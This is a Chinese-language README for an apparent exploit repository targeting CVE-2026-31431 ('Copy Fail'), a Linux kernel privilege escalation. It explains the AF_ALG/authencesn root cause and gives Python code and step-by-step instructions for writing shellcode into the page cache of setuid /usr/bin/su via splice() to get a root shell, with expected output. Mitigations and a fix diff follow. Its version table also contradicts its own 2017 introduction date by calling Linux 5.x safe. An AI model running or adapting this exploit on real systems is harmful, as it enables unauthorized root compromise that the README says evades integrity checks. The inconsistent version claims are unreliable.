Python 针对 CVE-2026-31431 的漏洞利用程序,该漏洞为 Linux 内核中通过 setuid 二进制文件的页缓存损坏实现的权限提升,可获取 root 访问权限。
Copy Fail(CVE-2026-31431)是 Linux 内核加密子系统中的一个严重逻辑漏洞,允许非特权用户实现向 root 的权限提升。该漏洞影响所有主流发行版中的 Linux 内核 6.0.0 至 6.18.x 版本。
本仓库包含真实漏洞利用代码,通过破坏 setuid 二进制文件的页缓存并执行具有 root 权限的任意代码来触发该漏洞。
Copy Fail 是一个逻辑漏洞,允许非特权用户将任意 4 字节数据块直接写入系统上任何可读文件(包括 setuid 二进制文件)的内核页缓存中。
主要特点:
该漏洞源于 2017 年对 algif_aead.c(提交 72548b093ee3)的一项优化,该优化将 AEAD 操作从异地改为就地:
之前(安全 - 2015):
TX 散列表(输入) ← TX 缓冲区(来自文件的用户数据)
RX 散列表(输出) ← RX 缓冲区(用户的输出区域)
分离的散列表 = 页缓存页面为只读
之后(易受攻击 - 2017):
组合散列表:
[ RX 缓冲区 ] [ 通过 sg_chain() 链接的页缓存页面 ]
↑ ↑
req->src = src req->dst = dst (同一散列表)
页缓存页面现在位于可写的散列表中!
组合散列表如下所示:
[AAD + 来自 RX 缓冲区的密文] || [来自 /usr/bin/su 页缓存的标签]
↑
边界
(authencesn 写入超过此点)
authencesn 算法是 IPsec 用于扩展序列号(ESN)的 AEAD 包装器。它执行 HMAC 计算,但需要在 AAD(关联认证数据)内重新排列字节。
在内核代码(crypto/authenc.c)中,在解密期间:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 读取 AAD 字节 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 临时:覆盖 dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← 关键行
// 在 dst[assoclen+cryptlen] 处写入 4 字节
问题所在:第三次写入发生在偏移量 assoclen + cryptlen 处。在易受攻击的就地路径中:
内核将此位置视为"可丢弃的临时空间"并永久写入该值。页缓存中此位置的原始字节将永久丢失。
1. 攻击者打开 AF_ALG 套接字 → 绑定到 authencesn(hmac(sha256),cbc(aes))
(无需特权;AF_ALG 默认对非特权用户可用)
2. 攻击者打开目标文件:/usr/bin/su(setuid-root 二进制文件)
3. 攻击者使用 splice() 将 /usr/bin/su 的页缓存页面
作为"密文"和"标签"传递到 AF_ALG 套接字
4. 攻击者发送包含以下内容的 AAD 的 sendmsg():
- 字节 0-3:填充
- 字节 4-7:seqno_lo = 要写入的 4 字节值(由攻击者控制)
- 字节 8+:填充
5. 攻击者调用 recvmsg() 触发 AEAD 解密操作
在内核空间中 authencesn 的解密内部:
a) 内核读取 AAD 字节 0-7
b) 内核在 dst[4..7] 处写入 seqno_hi(临时,然后恢复)
c) 内核在 dst[assoclen + cryptlen] 处写入 seqno_lo
↓
此写入从用户缓冲区跨越到页缓存页面
↓
对 /usr/bin/su 页缓存的 4 字节写入发生在此处
d) 内核计算 HMAC(验证失败 - 密文是伪造的)
e) recvmsg() 返回错误
但是:4 字节写入已持久存在于页缓存中
6. 攻击者为每个 4 字节 shellcode 块重复步骤 2-5
7. 攻击者执行 /usr/bin/su
- 内核从页缓存加载二进制文件(现在包含 shellcode)
- 二进制文件是 setuid-root
- Shellcode 以 UID=0 执行
- 攻击者获得 root 访问权限
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # 用于 AEAD 操作的请求套接字
创建绑定到 authencesn AEAD 模板的 AF_ALG 套接字。
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
打开将被破坏的 setuid 二进制文件。任何可读文件都可以,但选择 setuid 二进制文件是为了权限提升。
pipe_rd, pipe_wr = os.pipe()
创建将作为 splice() 操作中介的管道。管道缓冲区将持有页缓存页面的引用。
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
使用 splice() 将 /usr/bin/su 中从 write_offset 开始的 cryptlen 字节传输到管道。
为何重要:splice() 在文件描述符之间传输数据无需复制。它传递内核页缓存页面的直接引用。这些页面保留在管道的内部缓冲区结构中。
assoclen = 8 # AAD 长度:字节 0-7
cryptlen = 32 # 密文长度(== HMAC-SHA256 输出)
authsize = 32 # 标签长度
write_offset = 0x2000 # 要写入的 /usr/bin/su 中的偏移量
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
AAD(关联认证数据)包含:
authencesn 算法将在其临时写入中使用此 AAD 的字节 4-7。
req_sock.sendmsg([aad], [], socket.MSG_MORE)
将 AAD 发送到 AF_ALG 套接字。MSG_MORE 标志表示密文/标签将随后发送。
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
将页缓存页面从管道传输到 AF_ALG 套接字。现在内核的散列表包含:
散列表链:
[ AAD(来自 RX 缓冲区) ] || [ 密文(来自 RX 缓冲区) ] → [ 标签(页缓存页面) ]
↑
仍引用
/usr/bin/su 的页面
try:
req_sock.recv(1024)
except OSError:
pass # 预期因无效 HMAC 而失败
调用 recvmsg() 触发 AEAD 解密操作:
在内核空间中 authencesn 内部:
dst[assoclen + cryptlen]
for i in range(0, len(shellcode), 4):
chunk = shellcode[i:i+4]
exploit_target_file("/usr/bin/su", base_offset + i, chunk)
漏洞利用循环,在 /usr/bin/su 页缓存的连续偏移量处写入 4 字节 shellcode 块。
os.execve("/usr/bin/su", ["/usr/bin/su"], os.environ)
执行 /usr/bin/su:
os.splice())lsmod | grep -E 'af_alg|algif_aead|authencesn'
python3 exploit.py
易受攻击系统上的预期输出:
[*] CVE-2026-31431 (Copy Fail) Linux 内核权限提升
[*] 目标:/usr/bin/su(setuid-root 二进制文件)
[*] 内核版本:6.12.0-1007-aws
[+] 内核 6.12.x 在易受攻击范围内(6.0 - 6.18)
[+] 找到 /usr/bin/su(setuid-root 二进制文件)
[+] 内核漏洞检查:AF_ALG + splice + authencesn
[*] 开始页缓存破坏...
[*] 向 /usr/bin/su 注入 33 字节 shellcode
[+] 在偏移量 0x2000 处写入块 0
[+] 在偏移量 0x2004 处写入块 1
...
[+] Shellcode 注入成功!
[*] 执行 /usr/bin/su 以触发 shellcode...
# id
uid=0(root) gid=1001(user) groups=1001(user)
禁用 AF_ALG AEAD 支持:
sudo -i
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
exit
这可以阻止漏洞利用访问 AF_ALG 的 AEAD 接口,同时保持其他 AF_ALG 功能完好。
卸载易受攻击的模块:
sudo rmmod algif_aead
sudo rmmod authencesn
通过 seccomp 阻止 AF_ALG 套接字创建(适用于容器化环境):
# 在容器安全策略中,拒绝 socket(38, SOCK_SEQPACKET) 系统调用
更新到包含修复的 Linux 6.19+(提交 a664bf3d603d)。
该修复将 algif_aead.c 恢复为异地 AEAD 操作:
// 之前(易受攻击的就地):
aead_request_set_crypt(&areq->cra_u.aead_req,
rsgl_src, // RX SGL(输入)
rsgl_src, // RX SGL(输出)- 相同
used, ctx->iv);
// 之后(已修复的异地):
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // TX SGL(输入)
rsgl_src, // RX SGL(输出)- 不同
used, ctx->iv);
使用独立的源和目标散列表:
此漏洞利用仅用于教育和授权的安全测试目的。未经授权访问计算机系统是非法的。在测试漏洞前务必获得适当授权。
| 方面 | 说明 |
|---|
| 无崩溃 | 从内核角度来看操作完成 |
| 确定性 | 无竞态条件;同步且可靠 |
| 持久性 | 即使在 recvmsg() 出错后页缓存破坏仍然存在 |
| 不可见性 | 磁盘文件未受影响;标准完整性工具检测不到任何内容 |
| 通用性 | 相同代码适用于所有发行版;无需按发行版调整偏移量 |
| 可移植性 | 适用于 x86-64 和 ARM64 架构 |
| 日期 | 事件 |
|---|
| 2017-Q3 | 在 algif_aead.c 中引入漏洞(提交 72548b093ee3) |
| 2026-03-23 | 报告给 Linux 内核安全团队 |
| 2026-03-24 | 内核团队确认漏洞 |
| 2026-03-25 | 提出并审查补丁 |
| 2026-04-01 | 补丁合并到主线内核(提交 a664bf3d603d) |
| 2026-04-22 | 分配 CVE-2026-31431 |
| 2026-04-29 | 公开披露(Xint Research) |
| 系列 | 状态 | 详情 |
|---|
| Linux 5.x | ✅ 安全 | 早于漏洞引入 |
| Linux 6.0 - 6.18 | ❌ 易受攻击 | 所有次要版本均受影响 |
| Linux 6.19+ | ✅ 安全 | 包含修复(提交 a664bf3d603d) |
| Linux 7.0+ | ✅ 安全 | 修复合并之后 |